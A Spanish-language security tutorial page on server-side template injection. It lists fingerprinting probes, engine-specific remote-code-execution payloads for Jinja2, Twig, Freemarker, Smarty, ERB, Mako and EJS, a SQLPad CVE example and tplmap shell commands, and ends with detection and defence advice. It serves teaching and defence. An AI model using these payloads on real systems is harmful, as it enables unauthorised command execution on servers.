the_open_door
café
ESEN
← Volver al índice

Server-Side Template Injection (SSTI)

ATT&CKT1190
Arsenal completo de comandos en la cheatsheet

Muchas aplicaciones generan texto (HTML, mensajes, consultas) usando un motor de plantillas: un sistema que mezcla una plantilla fija con datos variables ({{ nombre }}, <%= valor %>, ${...}). Si el dato que el usuario controla se inserta en la plantilla y se evalúa en lugar de tratarse como texto plano, se produce una inyección de plantillas en servidor (Server-Side Template Injection, SSTI). Y como los motores de plantillas suelen permitir expresiones del lenguaje anfitrión, una SSTI escala con frecuencia a ejecución de código. El payload de RCE depende del motor, así que primero hay que identificarlo.

Detección y fingerprint

Se inyecta una expresión aritmética y se mira si se evalúa; luego se afina con payloads que solo funcionan en un motor para saber cuál es:

{{7*7}}        -> 49   (Jinja2/Python, Twig/PHP)
${7*7}         -> 49   (Freemarker/Java, algunos JS)
<%= 7*7 %>     -> 49   (ERB/Ruby, EJS/Node)
#{7*7}         -> 49   (otros)
{{7*'7'}}      -> 7777777 (Jinja2)   vs   49 (Twig)   # distingue Jinja2 de Twig

RCE por motor

Jinja2 (Python / Flask)

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ ''.__class__.__mro__[1].__subclasses__() }}   # enumerar subclases para llegar a Popen

Twig (PHP)

{{ ['id']|filter('system') }}
{{ ['id',1]|sort('system') }}
{{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }}

Freemarker (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
${ "freemarker.template.utility.Execute"?new()("id") }

Smarty (PHP)

{system('id')}
{php}system('id');{/php}

ERB (Ruby) / Mako (Python) / EJS (Node)

<%= system('id') %>                 # ERB (Ruby), tambien `id` con backticks
${ __import__('os').popen('id').read() }   # Mako (Python)
<%= process.mainModule.require('child_process').execSync('id') %>   # EJS (Node)

Un caso concreto es CVE-2022-0944 de SQLPad (< 6.10.1): el endpoint de prueba de conexión renderiza campos de la conexión como plantillas, y una expresión inyectada en ellos ejecuta comandos en el servidor. El resultado es una shell con los privilegios del proceso (que en contenedores suele ser root).

Automatización

python3 tplmap.py -u 'http://<ip>/page?name=X'      # detecta el motor y da shell
python3 tplmap.py -u 'http://<ip>/page?name=X' --os-shell

Cómo detectarlo. La fase de sondeo deja una firma peculiar en el log de acceso: parámetros con {{7*7}}, ${7*7}, <%= 7*7 %>, #{...} y payloads con .__class__, .mro(), __globals__, process.mainModule, freemarker, que un WAF reconoce como SSTI. La escalada a RCE se detecta en el host igual que un command injection: el proceso de la aplicación (Node, Python, Java) engendrando sh/bash/id, algo anómalo para un renderizador de plantillas. La clave es que la carga de sondeo ({{7*7}}) casi nunca aparece en tráfico legítimo, así que un único acierto ya merece investigación, y el pico de variantes de payload contra un mismo campo confirma el ataque.

Defensa. No construir plantillas concatenando entrada del usuario; pasar los datos siempre como contexto/variables del motor, nunca como parte de la propia plantilla; usar motores en modo sandbox cuando exista; y mantener las dependencias actualizadas. Relacionado con otras inyecciones de servidor como la subida de fichero a RCE.

Máquinas donde se aplica